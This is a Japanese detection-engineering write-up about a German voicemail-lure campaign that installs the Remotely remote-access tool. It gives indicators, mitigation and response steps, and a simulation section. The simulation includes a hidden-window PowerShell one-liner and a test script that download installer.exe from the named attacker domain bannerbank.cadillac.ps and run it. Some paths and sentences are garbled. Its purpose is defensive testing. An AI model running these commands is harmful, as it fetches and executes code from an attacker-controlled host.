ボイスメールの罠: ドイツ語のボイスメール誘導によるリモートアクセス

概要

脅威アクターは、ユーザーにBATファイルをダウンロードさせるドイツ語の「ボイスメール」ランディングページをホストしています。このスクリプトは無害な音声デコイを再生しながら、正規のRemotelyリモート監視ツールを静かにインストールします。一度展開されると、RMMエージェントは攻撃者に攻撃者が制御するC2インフラストラクチャを通じて永続的なリモートアクセスを提供します。

調査

Censysは、*.cadillac.psドメイン上で悪意のあるBATを配布している86の侵害されたウェブサイトを特定しました。このスクリプトはremotely.billbutterworth.comにホストされたPowerShellインストーラーを呼び出し、Remotely ZIPパッケージを取得します。アーカイブにはRemotelyエージェントコンポーネントと、C:Program FilesRemotelyにインストールされるサービスが含まれています。

緩和策

DNS／プロキシレイヤーで*.cadillac.psドメインとremotely.billbutterworth.comをブロックします。ユーザーには予期しないBATファイルを実行しないことや、未知のウェブページからPowerShellコマンドをコピー/ペーストしないように教育します。Remotelyサービスの作成や、疑わしいインストールパス、サインされていないツールを検出するためにエンドポイントコントロールを展開します。

反応

Program Files下でのRemotely_Serviceの作成とRemotely_Agent.exeの存在をアラートします。voicemail.batおよび関連するPowerShellインストーラーの活動をハントしてください。影響を受けたホストを隔離し、フォレンジックアーティファクトを収集し、RMMエージェントによって利用されたすべての資格情報またはトークンを回転／取り消します。

シミュレーション実行

前提条件: テレメトリー＆ベースライン事前チェックが合格している必要があります。

理由: このセクションは、検出ルールをトリガーするように設計された敵の技術（TTP）の正確な実行を詳述します。コマンドと説明は、識別されたTTPを直接反映しており、検出ロジックによって予想される正確なテレメトリーを生成することを目的としています。抽象的または無関係な例は誤診につながります。

• 攻撃の流れとコマンド:

  1. フィッシング配信: 攻撃者は、HTML添付ファイルのドイツ語ボイスメールルアーを含むメールを送信し、そのHTMLが開かれると、被害者は http://bannerbank.cadillac.ps/voicemail.html.
  2. ランディングページ実行: ランディングページには、リモート管理ツール（RMM）インストーラーをダウンロードして実行する悪意のあるPowerShellのワンライナーがホストされています。
  3. プロセス作成: 被害者のブラウザがページを処理する際に、 明示的に ルールが監視する2つの文字列を含んでいるコマンドラインでPowerShellが呼び出されます。
  4. 結果のテレメトリー: Windowsは、次の内容を含むイベントID 4688をログに記録します CommandLine 「voicemail-themed landing page」 「bannerbank.cadillac.ps」 and 、これによりSigma条件を満たします。シミュレーションで使用された正確なコマンド:

  The exact command used for the simulation:

  # シミュレーションされた悪意のある実行 – どちらのトリガー文字列も含む
  Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -WindowStyle Hidden -Command `"Write-Host 'voicemail-themed landing page'; Invoke-WebRequest -Uri 'http://bannerbank.cadillac.ps/installer.exe' -OutFile $env:TEMPinstaller.exe; Start-Process $env:TEMPinstaller.exe`""

• 回帰テストスクリプト: どのWindowsホストでも必要なロギングが有効であれば実行できる攻撃を再現する自己完結型のPowerShellスクリプトです。

  <#
  .SYNOPSIS
      Sigma検出ルールをトリガーするドイツ語のボイスメールルアーをシミュレートします。
  .DESCRIPTION
      両方の必要なサブストリングを含むPowerShellコマンドラインを実行します。
  #>
  
  # 悪意のある文字列を定義
  $lureText = "voicemail-themed landing page"
  $maliciousDomain = "bannerbank.cadillac.ps"
  
  # コマンドラインに表示されるワンライナーを構築
  $payload = @"
  Write-Host '$lureText';
  Invoke-WebRequest -Uri 'http://$maliciousDomain/installer.exe' -OutFile $env:TEMPinstaller.exe;
  Start-Process $env:TEMPinstaller.exe
  "@
  
  # 作成されたコマンドラインでPowerShellを起動
  $psArgs = "-NoProfile -WindowStyle Hidden -Command `"$payload`""
  Write-Host "悪意のあるPowerShellコマンドを起動しています..."
  Start-Process -FilePath "powershell.exe" -ArgumentList $psArgs -PassThru
  
  # オプション: ロギングを確実にするために数秒待機
  Start-Sleep -Seconds 5

• クリーンアップコマンド: ダウンロードされたインストーラーとすべての残留プロセスを削除します。

  # 残っているインストーラープロセスを停止
  Get-Process -Name "installer" -ErrorAction SilentlyContinue | Stop-Process -Force
  
  # 一時インストーラーファイルを削除
  $installerPath = "$env:TEMPinstaller.exe"
  if (Test-Path $installerPath) {
      Remove-Item $installerPath -Force
      Write-Host "Cleaned up $installerPath"
  }